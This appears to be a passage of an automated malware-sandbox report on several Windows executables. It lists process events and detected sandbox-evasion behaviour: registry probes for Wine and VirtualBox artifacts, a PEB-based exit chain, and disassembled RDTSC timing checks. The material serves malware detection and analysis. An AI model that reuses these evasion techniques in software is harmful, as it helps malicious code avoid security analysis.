Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_8-92853

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\userKFHCAEGCBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\userKFHCAEGCBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443940 second address: 443944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443A9C second address: 443AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443AA2 second address: 443AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443AA8 second address: 443ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD1807ED556h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443ACB second address: 443AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443F03 second address: 443F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443F07 second address: 443F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443F10 second address: 443F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED552h 0x00000009 jnl 00007FD1807ED546h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD1807ED552h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 443F43 second address: 443F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FD180B5C156h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 44651C second address: 44658B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov si, dx 0x0000000f push 00000000h 0x00000011 and ch, 0000003Bh 0x00000014 push 943A65A8h 0x00000019 pushad 0x0000001a push ebx 0x0000001b jl 00007FD1807ED546h 0x00000021 pop ebx 0x00000022 push edx 0x00000023 jmp 00007FD1807ED554h 0x00000028 pop edx 0x00000029 popad 0x0000002a add dword ptr [esp], 6BC59AD8h 0x00000031 sub esi, 5594CB6Dh 0x00000037 push 00000003h 0x00000039 add dh, 0000000Dh 0x0000003c push 00000000h 0x0000003e mov ecx, dword ptr [ebp+122D2CC3h] 0x00000044 push 00000003h 0x00000046 pushad 0x00000047 cmc 0x00000048 mov ebx, dword ptr [ebp+122D2997h] 0x0000004e popad 0x0000004f push 499A4006h 0x00000054 push eax 0x00000055 push edx 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 pop edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 44670F second address: 446713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446713 second address: 446736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FD1807ED559h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446736 second address: 446759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446759 second address: 44675D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 44675D second address: 446761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446761 second address: 4467B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FD1807ED553h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007FD1807ED552h 0x00000017 pop eax 0x00000018 mov edx, dword ptr [ebp+122D2C93h] 0x0000001e lea ebx, dword ptr [ebp+1245B3C8h] 0x00000024 jg 00007FD1807ED54Ch 0x0000002a push eax 0x0000002b push ebx 0x0000002c jnc 00007FD1807ED54Ch 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446826 second address: 4468AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007FD180B5C167h 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FD180B5C15Dh 0x00000016 popad 0x00000017 nop 0x00000018 pushad 0x00000019 call 00007FD180B5C15Fh 0x0000001e mov ecx, dword ptr [ebp+122D2A17h] 0x00000024 pop edi 0x00000025 mov esi, eax 0x00000027 popad 0x00000028 push 00000000h 0x0000002a mov ecx, eax 0x0000002c mov edx, dword ptr [ebp+122D2C5Fh] 0x00000032 call 00007FD180B5C159h 0x00000037 jmp 00007FD180B5C15Dh 0x0000003c push eax 0x0000003d jmp 00007FD180B5C15Eh 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 jmp 00007FD180B5C160h 0x0000004b mov eax, dword ptr [eax] 0x0000004d push eax 0x0000004e push edx 0x0000004f jnc 00007FD180B5C158h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4468AF second address: 4468BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD1807ED546h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4468BA second address: 44694D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jno 00007FD180B5C160h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FD180B5C158h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007FD180B5C158h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 pushad 0x00000049 mov edi, dword ptr [ebp+122D33EDh] 0x0000004f or dword ptr [ebp+122D3543h], edi 0x00000055 popad 0x00000056 mov ecx, dword ptr [ebp+122D2CCFh] 0x0000005c push 00000000h 0x0000005e or ecx, dword ptr [ebp+122D322Ch] 0x00000064 push 00000003h 0x00000066 jmp 00007FD180B5C161h 0x0000006b push B5C169CDh 0x00000070 push eax 0x00000071 push edx 0x00000072 push ecx 0x00000073 push ebx 0x00000074 pop ebx 0x00000075 pop ecx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 44694D second address: 446953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446953 second address: 446957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 446957 second address: 4469B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 75C169CDh 0x00000012 call 00007FD1807ED54Bh 0x00000017 mov dl, bh 0x00000019 pop edi 0x0000001a lea ebx, dword ptr [ebp+1245B3D3h] 0x00000020 jng 00007FD1807ED54Ch 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD1807ED558h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4469B7 second address: 4469BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4469BD second address: 4469D8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD1807ED54Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jl 00007FD1807ED546h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 467B79 second address: 467B84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 467B84 second address: 467B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD1807ED546h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 465BCA second address: 465BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4663BB second address: 4663D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4663D1 second address: 4663D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 466534 second address: 46653D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46681F second address: 466825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46697A second address: 466984 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1807ED546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 466984 second address: 466990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 45CEAE second address: 45CEB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 467761 second address: 467772 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 467772 second address: 467797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED54Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD1807ED54Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4295BB second address: 4295C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4295C1 second address: 4295C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4295C5 second address: 4295CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4295CD second address: 4295D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4295D3 second address: 4295D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4295D7 second address: 4295E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FD1807ED546h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46D26A second address: 46D275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD180B5C156h 0x0000000a pop edi 0x0000000b rdtsc
